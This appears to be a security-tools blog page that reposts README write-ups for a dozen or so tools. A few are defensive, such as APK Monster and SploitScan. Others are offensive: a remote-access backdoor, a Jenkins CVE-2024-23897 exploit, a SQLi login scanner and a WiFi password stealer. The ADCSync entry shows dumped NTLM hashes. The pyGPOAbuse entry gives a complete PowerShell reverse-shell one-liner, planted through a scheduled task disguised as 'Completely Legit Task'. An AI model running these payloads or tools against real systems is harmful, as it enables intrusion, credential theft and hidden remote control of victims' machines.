SECURITY EDUCATION, PRIVACY GUIDANCE, THREAT AWARENESS, OPEN SOURCE TOOLS, RESEARCH NOTES, AND RESPONSIBLE TECHNOLOGY CONTENT

  • Penetration Testing Distribution - BackBox

    BackBox is a penetration test and security assessment oriented Ubuntu-based Linux distribution providing a network and informatic systems analysis toolkit. It includes a complete set of tools required for ethical hacking and security testing...
  • Pentest Distro Linux - Weakerth4n

    Weakerth4n is a penetration testing distribution which is built from Debian Squeeze.For the desktop environment it uses Fluxbox...
  • The Amnesic Incognito Live System - Tails

    Tails is a live system that aims to preserve your privacy and anonymity. It helps you to use the Internet anonymously and circumvent censorship...
  • Penetration Testing Distribution - BlackArch

    BlackArch is a penetration testing distribution based on Arch Linux that provides a large amount of cyber security tools. It is an open-source distro created specially for penetration testers and security researchers...
  • The Best Penetration Testing Distribution - Kali Linux

    Kali Linux is a Debian-based distribution for digital forensics and penetration testing, developed and maintained by Offensive Security. Mati Aharoni and Devon Kearns rewrote BackTrack...
  • Friendly OS designed for Pentesting - ParrotOS

    Parrot Security OS is a cloud friendly operating system designed for Pentesting, Computer Forensic, Reverse engineering, Hacking, Cloud pentesting...
Showing posts with label Exploitation. Show all posts
Showing posts with label Exploitation. Show all posts

Saturday, May 18, 2024

Analyzing APK Files for Security Vulnerabilities with APK Monster




As mobile applications become more integral to our daily lives, ensuring their security is paramount. Vulnerabilities in mobile apps can expose sensitive data, lead to unauthorized access, and compromise user privacy. To help address these challenges, we introduce APK Monster, a comprehensive tool for analyzing Android APK files for a wide range of security vulnerabilities.

Introducing APK Monster

APK Monster is designed to scan and analyze APK files against the OWASP Mobile Top 10 vulnerabilities and other common security issues. This powerful tool extracts critical information from the APK, examines its components, and identifies potential security weaknesses.

Key Features of APK Monster

1. String Extraction: Extracts all strings from XML, ARSC, TXT, and JSON files within the APK, helping identify hardcoded secrets like passwords, tokens, and API keys.

2. Permission Analysis: Checks for insecure permissions that may expose the app to unnecessary risks.

3. Cryptography Review: Identifies weak cryptographic practices within the app’s code.

4. Exported Component Detection: Highlights exported activities, services, receivers, and providers that could be accessed by malicious entities.

5. Storage Security: Scans for insecure storage locations used by the app.

6. Communication Security: Detects the use of insecure communication protocols, such as HTTP.

7. Authentication Practices: Reviews the app for insecure authentication practices.

8. Code Quality: Flags poor coding practices that may affect the app’s security.

9. Tampering Protections: Checks for mechanisms protecting the app from tampering.

10. Reverse Engineering: Looks for protections against reverse engineering, such as obfuscation.

11. Extraneous Functionality: Identifies unnecessary or debug functionalities left in the production code.

How to Use APK Monster

Using APK Monster is straightforward. Follow these steps to analyze an APK file:

1. Install Dependencies:

Ensure you have the necessary Python packages installed:

 pip install androguard termcolor tqdm

2. Run the Tool:

Execute the script with the path to your APK file and the output file for the results:

python analyze_apk.py path/to/your.apk path/to/output.txt

Understanding the Results

APK Monster generates a detailed report highlighting each aspect of the APK’s security. The report categorizes issues and provides clear indications of potential vulnerabilities. For instance:

Hardcoded Secrets: Reveals any hardcoded credentials or sensitive information.

Insecure Permissions: Lists permissions that could expose the app to risks.

Weak Cryptography: Points out cryptographic algorithms that are considered weak or outdated.

Exported Components: Identifies components that are unnecessarily exposed and could be targeted by attackers.

Why APK Monster?

APK Monster stands out due to its comprehensive approach, covering a broad spectrum of vulnerabilities as outlined by the OWASP Mobile Top 10. It is a valuable tool for security researchers, developers, and penetration testers looking to ensure their apps are secure.


Download APK Monster

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Saturday, May 11, 2024

Gtfocli - GTFO Command Line Interface For Easy Binaries Search Commands That Can Be Used To Bypass Local Security Restrictions In Misconfigured Systems


GTFOcli it's a Command Line Interface for easy binaries search commands that can be used to bypass local security restrictions in misconfigured systems.


Installation

Using go:

go install github.com/cmd-tools/gtfocli@latest

Using homebrew:

brew tap cmd-tools/homebrew-tap
brew install gtfocli

Using docker:

docker pull cmdtoolsowner/gtfocli

Usage

Search for unix binaries

Search for binary tar:

gtfocli search tar

Search for binary tar from stdin:

echo "tar" | gtfocli search

Search for binaries located into file;

cat myBinaryList.txt
/bin/bash
/bin/sh
tar
arp
/bin/tail

gtfocli search -f myBinaryList.txt

Search for windows binaries

Search for binary Winget.exe:

gtfocli search Winget --os windows

Search for binary Winget from stdin:

echo "Winget" | gtfocli search --os windows

Search for binaries located into file:

cat windowsExecutableList.txt
Winget
c:\\Users\\Desktop\\Ssh
Stordiag
Bash
c:\\Users\\Runonce.exe
Cmdkey
c:\dir\subDir\Users\Certreq.exe

gtfocli search -f windowsExecutableList.txt --os windows

Search for binary Winget and print output in yaml format (see -h for available formats):

gtfocli search Winget -o yaml --os windows

Search using dockerized solution

Examples:

Search for binary Winget and print output in yaml format:

docker run -i cmdtoolsowner/gtfocli search Winget -o yaml --os windows

Search for binary tar and print output in json format:

echo 'tar' | docker run -i cmdtoolsowner/gtfocli search -o json

Search for binaries located into file mounted as volume in the container:

cat myBinaryList.txt
/bin/bash
/bin/sh
tar
arp
/bin/tail

docker run -i -v $(pwd):/tmp cmdtoolsowner/gtfocli search -f /tmp/myBinaryList.txt

CTF

An example of common use case for gtfocli is together with find:

find / -type f \( -perm 04000 -o -perm -u=s \) -exec gtfocli search {} \; 2>/dev/null

or

find / -type f \( -perm 04000 -o -perm -u=s \) 2>/dev/null | gtfocli search

Credits

Thanks to GTFOBins and LOLBAS, without these projects gtfocli would never have come to light.

Contributing

You want to contribute to this project? Wow, thanks! So please just fork it and send a pull request.


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Huntr-Com-Bug-Bounties-Collector - Keep Watching New Bug Bounty (Vulnerability) Postings


New bug bounty(vulnerabilities) collector

Requirements
  • Chrome with GUI (If you encounter trouble with script execution, check the status of VMs GPU features, if available.)
  • Chrome WebDriver

Preview
# python3 main.py

*2024-02-20 16:14:47.836189*

1. Arbitrary File Reading due to Lack of Input Filepath Validation
- Feb 6th 2024 / High (CVE-2024-0964)
- gradio-app/gradio
- https://huntr.com/bounties/25e25501-5918-429c-8541-88832dfd3741/

2. View Barcode Image leads to Remote Code Execution
- Jan 31st 2024 / Critical (CVE: Not yet)
- dolibarr/dolibarr
- https://huntr.com/bounties/f0ffd01e-8054-4e43-96f7-a0d2e652ac7e/

(delimiter-based file database)

# vim feeds.db

1|2024-02-20 16:17:40.393240|7fe14fd58ca2582d66539b2fe178eeaed3524342|CVE-2024-0964|https://huntr.com/bounties/25e25501-5918-429c-8541-88832dfd3741/
2|2024-02-20 16:17:40.393987|c6b84ac808e7f229a4c8f9fbd073b4c0727e07e1|CVE: Not yet|https://huntr.com/bounties/f0ffd01e-8054-4e43-96f7-a0d2e652ac7e/
3|2024-02-20 16:17:40.394582|7fead9658843919219a3b30b8249700d968d0cc9|CVE: Not yet|https://huntr.com/bounties/d6cb06dc-5d10-4197-8f89-847c3203d953/
4|2024-02-20 16:17:40.395094|81fecdd74318ce7da9bc29e81198e62f3225bd44|CVE: Not yet|https://huntr.com/bounties/d875d1a2-7205-4b2b-93cf-439fa4c4f961/
5|2024-02-20 16:17:40.395613|111045c8f1a7926174243db403614d4a58dc72ed|CVE: Not yet|https://huntr.com/bounties/10e423cd-7051-43fd-b736-4e18650d0172/

Notes
  • This code is designed to parse HTML elements from huntr.com, so it may not function correctly if the HTML page structure changes.
  • In case of errors during parsing, exception handling has been included, so if it doesn't work as expected, please inspect the HTML source for any changes.
  • If get in trouble In a typical cloud environment, scripts may not function properly within virtual machines (VMs).



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Wednesday, March 13, 2024

BackDoorSim - An Educational Into Remote Administration Tools


BackdoorSim is a remote administration and monitoring tool designed for educational and testing purposes. It consists of two main components: ControlServer and BackdoorClient. The server controls the client, allowing for various operations like file transfer, system monitoring, and more.


Disclaimer

This tool is intended for educational purposes only. Misuse of this software can violate privacy and security policies. The developers are not responsible for any misuse or damage caused by this software. Always ensure you have permission to use this tool in your intended environment.


Features
  • File Transfer: Upload and download files between server and client.
  • Screenshot Capture: Take screenshots from the client's system.
  • System Information Gathering: Retrieve detailed system and security software information.
  • Camera Access: Capture images from the client's webcam.
  • Notifications: Send and display notifications on the client system.
  • Help Menu: Easy access to command information and usage.

Installation

To set up BackdoorSim, you will need to install it on both the server and client machines.

  1. Clone the repository:

shell $ git clone https://github.com/HalilDeniz/BackDoorSim.git

  1. Navigate to the project directory:

shell $ cd BackDoorSim

  1. Install the required dependencies:

shell $ pip install -r requirements.txt


Usage

After starting both the server and client, you can use the following commands in the server's command prompt:

  • upload [file_path]: Upload a file to the client.
  • download [file_path]: Download a file from the client.
  • screenshot: Capture a screenshot from the client.
  • sysinfo: Get system information from the client.
  • securityinfo: Get security software status from the client.
  • camshot: Capture an image from the client's webcam.
  • notify [title] [message]: Send a notification to the client.
  • help: Display the help menu.

Disclaimer

BackDoorSim is developed for educational purposes only. The creators of BackDoorSim are not responsible for any misuse of this tool. This tool should not be used in any unauthorized or illegal manner. Always ensure ethical and legal use of this tool.


DepNot: RansomwareSim

If you are interested in tools like BackdoorSim, be sure to check out my recently released RansomwareSim tool


BackdoorSim: An Educational into Remote Administration Tools

If you want to read our article about Backdoor


Contributing

Contributions, suggestions, and feedback are welcome. Please create an issue or pull request for any contributions. 1. Fork the repository. 2. Create a new branch for your feature or bug fix. 3. Make your changes and commit them. 4. Push your changes to your forked repository. 5. Open a pull request in the main repository.


Contact

For any inquiries or further information, you can reach me through the following channels:


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CVE-2024-23897 - Jenkins <= 2.441 & <= LTS 2.426.2 PoC And Scanner


Exploitation and scanning tool specifically designed for Jenkins versions <= 2.441 & <= LTS 2.426.2. It leverages CVE-2024-23897 to assess and exploit vulnerabilities in Jenkins instances.


Usage

Ensure you have the necessary permissions to scan and exploit the target systems. Use this tool responsibly and ethically.

python CVE-2024-23897.py -t <target> -p <port> -f <file>

or

python CVE-2024-23897.py -i <input_file> -f <file>

Parameters: - -t or --target: Specify the target IP(s). Supports single IP, IP range, comma-separated list, or CIDR block. - -i or --input-file: Path to input file containing hosts in the format of http://1.2.3.4:8080/ (one per line). - -o or --output-file: Export results to file (optional). - -p or --port: Specify the port number. Default is 8080 (optional). - -f or --file: Specify the file to read on the target system.


Changelog

[27th January 2024] - Feature Request
  • Added scanning/exploiting via input file with hosts (-i INPUT_FILE).
  • Added export to file (-o OUTPUT_FILE).

[26th January 2024] - Initial Release
  • Initial release.

Contributing

Contributions are welcome. Please feel free to fork, modify, and make pull requests or report issues.


Author

Alexander Hagenah - URL - Twitter


Disclaimer

This tool is meant for educational and professional purposes only. Unauthorized scanning and exploiting of systems is illegal and unethical. Always ensure you have explicit permission to test and exploit any systems you target.


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Friday, February 23, 2024

SploitScan - A Sophisticated Cybersecurity Utility Designed To Provide Detailed Information On Vulnerabilities And Associated Proof-Of-Concept (PoC) Exploits


SploitScan is a powerful and user-friendly tool designed to streamline the process of identifying exploits for known vulnerabilities and their respective exploitation probability. Empowering cybersecurity professionals with the capability to swiftly identify and apply known and test exploits. It's particularly valuable for professionals seeking to enhance their security measures or develop robust detection strategies against emerging threats.


Features
  • CVE Information Retrieval: Fetches CVE details from the National Vulnerability Database.
  • EPSS Integration: Includes Exploit Prediction Scoring System (EPSS) data, offering a probability score for the likelihood of CVE exploitation, aiding in prioritization.
  • PoC Exploits Aggregation: Gathers publicly available PoC exploits, enhancing the understanding of vulnerabilities.
  • CISA KEV: Shows if the CVE has been listed in the Known Exploited Vulnerabilities (KEV) of CISA.
  • Patching Priority System: Evaluates and assigns a priority rating for patching based on various factors including public exploits availability.
  • Multi-CVE Support and Export Options: Supports multiple CVEs in a single run and allows exporting the results to JSON and CSV formats.
  • User-Friendly Interface: Easy to use, providing clear and concise information.
  • Comprehensive Security Tool: Ideal for quick security assessments and staying informed about recent vulnerabilities.

Usage

Regular:

python sploitscan.py CVE-YYYY-NNNNN

Enter one or more CVE IDs to fetch data. Separate multiple CVE IDs with spaces.

python sploitscan.py CVE-YYYY-NNNNN CVE-YYYY-NNNNN

Optional: Export the results to a JSON or CSV file. Specify the format: 'json' or 'csv'.

python sploitscan.py CVE-YYYY-NNNNN -e JSON

Patching Prioritization System

The Patching Prioritization System in SploitScan provides a strategic approach to prioritizing security patches based on the severity and exploitability of vulnerabilities. It's influenced by the model from CVE Prioritizer, with enhancements for handling publicly available exploits. Here's how it works:

  • A+ Priority: Assigned to CVEs listed in CISA's KEV or those with publicly available exploits. This reflects the highest risk and urgency for patching.
  • A to D Priority: Based on a combination of CVSS scores and EPSS probability percentages. The decision matrix is as follows:
  • A: CVSS score >= 6.0 and EPSS score >= 0.2. High severity with a significant probability of exploitation.
  • B: CVSS score >= 6.0 but EPSS score < 0.2. High severity but lower probability of exploitation.
  • C: CVSS score < 6.0 and EPSS score >= 0.2. Lower severity but higher probability of exploitation.
  • D: CVSS score < 6.0 and EPSS score < 0.2. Lower severity and lower probability of exploitation.

This system assists users in making informed decisions on which vulnerabilities to patch first, considering both their potential impact and the likelihood of exploitation. Thresholds can be changed to your business needs.


Changelog

[17th February 2024] - Enhancement Update
  • Additional Information: Added further information such as references & vector string
  • Removed: Star count in publicly available exploits

[15th January 2024] - Enhancement Update
  • Multiple CVE Support: Now capable of handling multiple CVE IDs in a single execution.
  • JSON and CSV Export: Added functionality to export results to JSON and CSV files.
  • Enhanced CVE Display: Improved visual differentiation and information layout for each CVE.
  • Patching Priority System: Introduced a priority rating system for patching, influenced by various factors including the availability of public exploits.

[13th January 2024] - Initial Release
  • Initial release of SploitScan.

Contributing

Contributions are welcome. Please feel free to fork, modify, and make pull requests or report issues.


Author

Alexander Hagenah - URL - Twitter


Credits

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Sunday, February 18, 2024

ADCSync - Use ESC1 To Perform A Makeshift DCSync And Dump Hashes


This is a tool I whipped up together quickly to DCSync utilizing ESC1. It is quite slow but otherwise an effective means of performing a makeshift DCSync attack without utilizing DRSUAPI or Volume Shadow Copy.


This is the first version of the tool and essentially just automates the process of running Certipy against every user in a domain. It still needs a lot of work and I plan on adding more features in the future for authentication methods and automating the process of finding a vulnerable template.

python3 adcsync.py -u clu -p theperfectsystem -ca THEGRID-KFLYNN-DC-CA -template SmartCard -target-ip 192.168.0.98 -dc-ip 192.168.0.98 -f users.json -o ntlm_dump.txt

___ ____ ___________
/ | / __ \/ ____/ ___/__ ______ _____
/ /| | / / / / / \__ \/ / / / __ \/ ___/
/ ___ |/ /_/ / /___ ___/ / /_/ / / / / /__
/_/ |_/_____/\____//____/\__, /_/ /_/\___/
/____/

Grabbing user certs:
100%|████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 105/105 [02:18<00:00, 1.32s/it]
THEGRID.LOCAL/shirlee.saraann::aad3b435b51404eeaad3b435b51404ee:68832255545152d843216ed7bbb2d09e:::
THEGRID.LOCAL/rosanne.nert::aad3b435b51404eeaad3b435b51404ee:a20821df366981f7110c07c7708f7ed2:::
THEGRID.LOCAL/edita.lauree::aad3b435b51404eeaad3b435b51404ee:b212294e06a0757547d66b78bb632d69:::
THEGRID.LOCAL/carol.elianore::aad3b435b51404eeaad3b435b51404ee:ed4603ce5a1c86b977dc049a77d2cc6f:::
THEGRID.LOCAL/astrid.lotte::aad3b435b51404eeaad3b435b51404ee:201789a1986f2a2894f7ac726ea12a0b:::
THEGRID.LOCAL/louise.hedvig::aad3b435b51404eeaad3b435b51404ee:edc599314b95cf5635eb132a1cb5f04d:::
THEGRID.LO CAL/janelle.jess::aad3b435b51404eeaad3b435b51404ee:a7a1d8ae1867bb60d23e0b88342a6fab:::
THEGRID.LOCAL/marie-ann.kayle::aad3b435b51404eeaad3b435b51404ee:a55d86c4b2c2b2ae526a14e7e2cd259f:::
THEGRID.LOCAL/jeanie.isa::aad3b435b51404eeaad3b435b51404ee:61f8c2bf0dc57933a578aa2bc835f2e5:::

Introduction

ADCSync uses the ESC1 exploit to dump NTLM hashes from user accounts in an Active Directory environment. The tool will first grab every user and domain in the Bloodhound dump file passed in. Then it will use Certipy to make a request for each user and store their PFX file in the certificate directory. Finally, it will use Certipy to authenticate with the certificate and retrieve the NT hash for each user. This process is quite slow and can take a while to complete but offers an alternative way to dump NTLM hashes.

Installation

git clone https://github.com/JPG0mez/adcsync.git
cd adcsync
pip3 install -r requirements.txt

Usage

To use this tool we need the following things:

  1. Valid Domain Credentials
  2. A user list from a bloodhound dump that will be passed in.
  3. A template vulnerable to ESC1 (Found with Certipy find)
# python3 adcsync.py --help
___ ____ ___________
/ | / __ \/ ____/ ___/__ ______ _____
/ /| | / / / / / \__ \/ / / / __ \/ ___/
/ ___ |/ /_/ / /___ ___/ / /_/ / / / / /__
/_/ |_/_____/\____//____/\__, /_/ /_/\___/
/____/

Usage: adcsync.py [OPTIONS]

Options:
-f, --file TEXT Input User List JSON file from Bloodhound [required]
-o, --output TEXT NTLM Hash Output file [required]
-ca TEXT Certificate Authority [required]
-dc-ip TEXT IP Address of Domain Controller [required]
-u, --user TEXT Username [required]
-p, --password TEXT Password [required]
-template TEXT Template Name vulnerable to ESC1 [required]
-target-ip TEXT IP Address of th e target machine [required]
--help Show this message and exit.

TODO

  • Support alternative authentication methods such as NTLM hashes and ccache files
  • Automatically run "certipy find" to find and grab templates vulnerable to ESC1
  • Add jitter and sleep options to avoid detection
  • Add type validation for all variables

Acknowledgements

  • puzzlepeaches: Telling me to hurry up and write this
  • ly4k: For Certipy
  • WazeHell: For the script to set up the vulnerable AD environment used for testing

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pyGPOAbuse - Partial Python Implementation Of SharpGPOAbuse


Python partial implementation of SharpGPOAbuse by@pkb1s

This tool can be used when a controlled account can modify an existing GPO that applies to one or more users & computers. It will create an immediate scheduled task as SYSTEM on the remote computer for computer GPO, or as logged in user for user GPO.

Default behavior adds a local administrator.

How to use

Basic usage

Add john user to local administrators group (Password: H4x00r123..)

./pygpoabuse.py DOMAIN/user -hashes lm:nt -gpo-id "12345677-ABCD-9876-ABCD-123456789012"

Advanced usage

Reverse shell example

./pygpoabuse.py DOMAIN/user -hashes lm:nt -gpo-id "12345677-ABCD-9876-ABCD-123456789012" \ 
-powershell \
-command "\$client = New-Object System.Net.Sockets.TCPClient('10.20.0.2',1234);\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%{0};while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){;\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);\$sendback = (iex \$data 2>&1 | Out-String );\$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> ';\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush()};\$client.Close()" \
-taskname "Completely Legit Task" \
-description "Dis is legit, pliz no delete" \
-user

Credits


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Logsensor - A Powerful Sensor Tool To Discover Login Panels, And POST Form SQLi Scanning


A Powerful Sensor Tool to discover login panels, and POST Form SQLi Scanning

Features

  • login panel Scanning for multiple hosts
  • Proxy compatibility (http, https)
  • Login panel scanning are done in multiprocessing

so the script is super fast at scanning many urls

quick tutorial & screenshots are shown at the bottom
project contribution tips at the bottom

Installation

git clone https://github.com/Mr-Robert0/Logsensor.git
cd Logsensor && sudo chmod +x logsensor.py install.sh
pip install -r requirements.txt
./install.sh

Dependencies

Quick Tutorial

1. Multiple hosts scanning to detect login panels

  • You can increase the threads (default 30)
  • only run login detector module
python3 logsensor.py -f <subdomains-list> 
python3 logsensor.py -f <subdomains-list> -t 50
python3 logsensor.py -f <subdomains-list> --login

2. Targeted SQLi form scanning

  • can provide only specifc url of login panel with --sqli or -s flag for run only SQLi form scanning Module
  • turn on the proxy to see the requests
  • customize user input name of login panel with actual name (default "username")
python logsensor.py -u www.example.com/login --sqli 
python logsensor.py -u www.example.com/login -s --proxy http://127.0.0.1:8080
python logsensor.py -u www.example.com/login -s --inputname email

View help

Login panel Detector Module -s, --sqli run only POST Form SQLi Scanning Module with provided Login panels Urls -n , --inputname Customize actual username input for SQLi scan (e.g. 'username' or 'email') -t , --threads Number of threads (default 30) -h, --help Show this help message and exit " dir="auto">
python logsensor.py --help

usage: logsensor.py [-h --help] [--file ] [--url ] [--proxy] [--login] [--sqli] [--threads]

optional arguments:
-u , --url Target URL (e.g. http://example.com/ )
-f , --file Select a target hosts list file (e.g. list.txt )
--proxy Proxy (e.g. http://127.0.0.1:8080)
-l, --login run only Login panel Detector Module
-s, --sqli run only POST Form SQLi Scanning Module with provided Login panels Urls
-n , --inputname Customize actual username input for SQLi scan (e.g. 'username' or 'email')
-t , --threads Number of threads (default 30)
-h, --help Show this help message and exit

Screenshots


Development

TODO

  1. adding "POST form SQli (Time based) scanning" and check for delay
  2. Fuzzing on Url Paths So as not to miss any login panel


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Bugsy - Command-line Interface Tool That Provides Automatic Security Vulnerability Remediation For Your Code


Bugsy is a command-line interface (CLI) tool that provides automatic security vulnerability remediation for your code. It is the community edition version of Mobb, the first vendor-agnostic automated security vulnerability remediation tool. Bugsy is designed to help developers quickly identify and fix security vulnerabilities in their code.


What is Mobb?

Mobb is the first vendor-agnostic automatic security vulnerability remediation tool. It ingests SAST results from Checkmarx, CodeQL (GitHub Advanced Security), OpenText Fortify, and Snyk and produces code fixes for developers to review and commit to their code.

What does Bugsy do?

Bugsy has two modes - Scan (no SAST report needed) & Analyze (the user needs to provide a pre-generated SAST report from one of the supported SAST tools).

Scan

  • Uses Checkmarx or Snyk CLI tools to run a SAST scan on a given open-source GitHub/GitLab repo
  • Analyzes the vulnerability report to identify issues that can be remediated automatically
  • Produces the code fixes and redirects the user to the fix report page on the Mobb platform

Analyze

  • Analyzes the a Checkmarx/CodeQL/Fortify/Snyk vulnerability report to identify issues that can be remediated automatically
  • Produces the code fixes and redirects the user to the fix report page on the Mobb platform

Disclaimer

This is a community edition version that only analyzes public GitHub repositories. Analyzing private repositories is allowed for a limited amount of time. Bugsy does not detect any vulnerabilities in your code, it uses findings detected by the SAST tools mentioned above.

Usage

You can simply run Bugsy from the command line, using npx:

npx mobbdev



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WebCopilot - An Automation Tool That Enumerates Subdomains Then Filters Out Xss, Sqli, Open Redirect, Lfi, Ssrf And Rce Parameters And Then Scans For Vulnerabilities


WebCopilot is an automation tool designed to enumerate subdomains of the target and detect bugs using different open-source tools.

The script first enumerate all the subdomains of the given target domain using assetfinder, sublister, subfinder, amass, findomain, hackertarget, riddler and crt then do active subdomain enumeration using gobuster from SecLists wordlist then filters out all the live subdomains using dnsx then it extract titles of the subdomains using httpx & scans for subdomain takeover using subjack. Then it uses gauplus & waybackurls to crawl all the endpoints of the given subdomains then it use gf patterns to filters out xss, lfi, ssrf, sqli, open redirect & rce parameters from that given subdomains, and then it scans for vulnerabilities on the sub domains using different open-source tools (like kxss, dalfox, openredirex, nuclei, etc). Then it'll print out the result of the scan and save all the output in a specified directory.


Features

Usage

g!2m0:~ webcopilot -h
             
──────▄▀▄─────▄▀▄
─────▄█░░▀▀▀▀▀░░█▄
─▄▄──█░░░░░░░░░░░█──▄▄
█▄▄█─█░░▀░░┬░░▀░░█─█▄▄█
██╗░░░░░░░██╗███████╗██████╗░░█████╗░░█████╗░██████╗░██╗██╗░░░░░░█████╗░████████╗
░██║░░██╗░░██║██╔════╝██╔══██╗██╔══██╗██╔══██╗██╔══██╗██║██║░░░░░██╔══██╗╚══██╔══╝
░╚██╗████╗██╔╝█████╗░░██████╦╝██║░░╚═╝██║░░██║██████╔╝██║██║░░░░░██║░░██║░░░██║░░░
░░████╔═████║░██╔══╝░░██╔══██╗██║░░██╗██║░░██║██╔═══╝░██║██║ ░░░░██║░░██║░░░██║░░░
░░╚██╔╝░╚██╔╝░███████╗██████╦╝╚█████╔╝╚█████╔╝██║░░░░░██║███████╗╚█████╔╝░░░██║░░░
░░░╚═╝░░░╚═╝░░╚══════╝╚═════╝░░╚════╝ ░╚════╝░╚═╝░░░░░╚═╝╚══════╝░╚════╝░░░░╚═╝░░░
[●] @h4r5h1t.hrs | G!2m0

Usage:
webcopilot -d <target>
webcopilot -d <target> -s
webcopilot [-d target] [-o output destination] [-t threads] [-b blind server URL] [-x exclude domains]

Flags:
-d Add your target [Requried]
-o To save outputs in folder [Default: domain.com]
-t Number of threads [Default: 100]
-b Add your server for BXSS [Default: False]
-x Exclude out of scope domains [Default: False]
-s Run only Subdomain Enumeration [Default: False]
-h Show this help message

Example: webcopilot -d domain.com -o domain -t 333 -x exclude.txt -b testServer.xss
Use https://xsshunter.com/ or https://interact.projectdiscovery.io/ to get your server

Installing WebCopilot

WebCopilot requires git to install successfully. Run the following command as a root to install webcopilot

git clone https://github.com/h4r5h1t/webcopilot && cd webcopilot/ && chmod +x webcopilot install.sh && mv webcopilot /usr/bin/ && ./install.sh

Tools Used:

SubFinderSublist3rFindomaingfOpenRedireXdnsxsqlmapgobusterassetfinderhttpxkxssqsreplaceNucleidalfoxanewjqaquatoneurldedupeAmassgaupluswaybackurlscrlfuzz

Running WebCopilot

To run the tool on a target, just use the following command.

g!2m0:~ webcopilot -d bugcrowd.com

The -o command can be used to specify an output dir.

g!2m0:~ webcopilot -d bugcrowd.com -o bugcrowd

The -s command can be used for only subdomain enumerations (Active + Passive and also get title & screenshots).

g!2m0:~ webcopilot -d bugcrowd.com -o bugcrowd -s 

The -t command can be used to add thrads to your scan for faster result.

g!2m0:~ webcopilot -d bugcrowd.com -o bugcrowd -t 333 

The -b command can be used for blind xss (OOB), you can get your server from xsshunter or interact

g!2m0:~ webcopilot -d bugcrowd.com -o bugcrowd -t 333 -b testServer.xss

The -x command can be used to exclude out of scope domains.

g!2m0:~ echo out.bugcrowd.com > excludeDomain.txt
g!2m0:~ webcopilot -d bugcrowd.com -o bugcrowd -t 333 -x excludeDomain.txt -b testServer.xss

Example

Default options looks like this:

g!2m0:~ webcopilot -d bugcrowd.com - bugcrowd
                                ──────▄▀▄─────▄▀▄
─────▄█░░▀▀▀▀▀░░█▄
─▄▄──█░░░░░░░░░░░█──▄▄
█▄▄█─█░░▀░░┬░░▀░░█─█▄▄█
██╗░░░░░░░██╗███████╗██████╗░░█████╗░ █████╗░██████╗░██╗██╗░░░░░░█████╗░████████╗
░██║░░██╗░░██║██╔════╝██╔══██╗██╔══██╗██╔══██╗██╔══██╗██║██║░░░░░██╔══██╗╚══██╔══╝
░╚██╗████╗██╔╝█ ███╗░░██████╦╝██║░░╚═╝██║░░██║██████╔╝██║██║░░░░░██║░░██║░░░██║░░░
░░████╔═████║░██╔══╝░░██╔══██╗██║░░██╗██║░░██║██╔═══╝░██║██║░░░░░██║░░██║░░ ██║░░░
░░╚██╔╝░╚██╔╝░███████╗██████╦╝╚█████╔╝╚█████╔╝██║░░░░░██║███████╗╚█████╔╝░░░██║░░░
░░░╚═╝░░░╚═╝░░╚══════╝╚═════╝░░╚════╝░░╚════╝░╚═╝░░░ ░╚═╝╚══════╝░╚════╝░░░░╚═╝░░░
[●] @h4r5h1t.hrs | G!2m0


[❌] Warning: Use with caution. You are responsible for your own actions.
[❌] Developers assume no liability and are not responsible for any misuse or damage cause by this tool.


Target: bugcrowd.com
Output: /home/gizmo/targets/bugcrowd
Threads: 100
Server: False
Exclude: False
Mode: Running all Enumeration
Time: 30-08-2021 15:10:00

[!] Please wait while scanning...

[●] Subdoamin Scanning is in progress: Scanning subdomains of bugcrowd.com
[●] Subdoamin Scanned - [assetfinder✔] Subdomain Found: 34
[●] Subdoamin Scanned - [sublist3r✔] Subdomain Found: 29
[●] Subdoamin Scanned - [subfinder✔] Subdomain Found: 54
[●] Subdoamin Scanned - [amass✔] Subdomain Found: 43
[●] Subdoamin Scanned - [findomain✔] Subdomain Found: 27

[●] Active Subdoamin Scanning is in progress:
[!] Please be patient. This may take a while...
[●] Active Subdoamin Scanned - [gobuster✔] Subdomain Found: 11
[●] Active Subdoamin Scanned - [amass✔] Subdomain Found: 0

[●] Subdomain Scanning: Filtering out of scope subdomains
[●] Subdomain Scanning: Filtering Alive subdomains
[●] Subdomain Scanning: Getting titles of valid subdomains
[●] Visual inspection of Subdoamins is completed. Check: /subdomains/aquatone/

[●] Scanning Completed for Subdomains of bugcrowd.com Total: 43 | Alive: 30

[●] Endpoints Scanning Completed for Subdomains of bugcrowd.com Total: 11032
[●] Vulnerabilities Scanning is in progress: Getting all vulnerabilities of bugcrowd.com
[●] Vulnerabilities Scanned - [XSS✔] Found: 0
[●] Vulnerabilities Scanned - [SQLi✔] Found: 0
[●] Vulnerabilities Scanned - [LFI✔] Found: 0
[●] Vulnerabilities Scanned - [CRLF✔] Found: 0
[●] Vulnerabilities Scanned - [SSRF✔] Found: 0
[●] Vulnerabilities Scanned - [Sensitive Data✔] Found: 0
[●] Vulnerabilities Scanned - [Open redirect✔] Found: 0
[●] Vulnerabilities Scanned - [Subdomain Takeover✔] Found: 0
[●] Vulnerabilities Scanned - [Nuclie✔] Found: 0
[●] Vulnerabilities Scanning Completed for Subdomains of bugcrowd.com Check: /vulnerabilities/


▒█▀▀█ █▀▀ █▀▀ █░░█ █░░ ▀▀█▀▀
▒█▄▄▀ █▀▀ ▀▀█ █░░█ █░░ ░░█░░
▒█░▒█ ▀▀▀ ▀▀▀ ░▀▀▀ ▀▀▀ ░░▀░░

[+] Subdomains of bugcrowd.com
[+] Subdomains Found: 0
[+] Subdomains Alive: 0
[+] Endpoints: 11032
[+] XSS: 0
[+] SQLi: 0
[+] Open Redirect: 0
[+] SSRF: 0
[+] CRLF: 0
[+] LFI: 0
[+] Sensitive Data: 0
[+] Subdomain Takeover: 0
[+] Nuclei: 0

Acknowledgement

WebCopilot is inspired from Garud & Pinaak by ROX4R.



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WiFi-password-stealer - Simple Windows And Linux Keystroke Injection Tool That Exfiltrates Stored WiFi Data (SSID And Password)


Have you ever watched a film where a hacker would plug-in, seemingly ordinary, USB drive into a victim's computer and steal data from it? - A proper wet dream for some.

Disclaimer: All content in this project is intended for security research purpose only.

 

Introduction

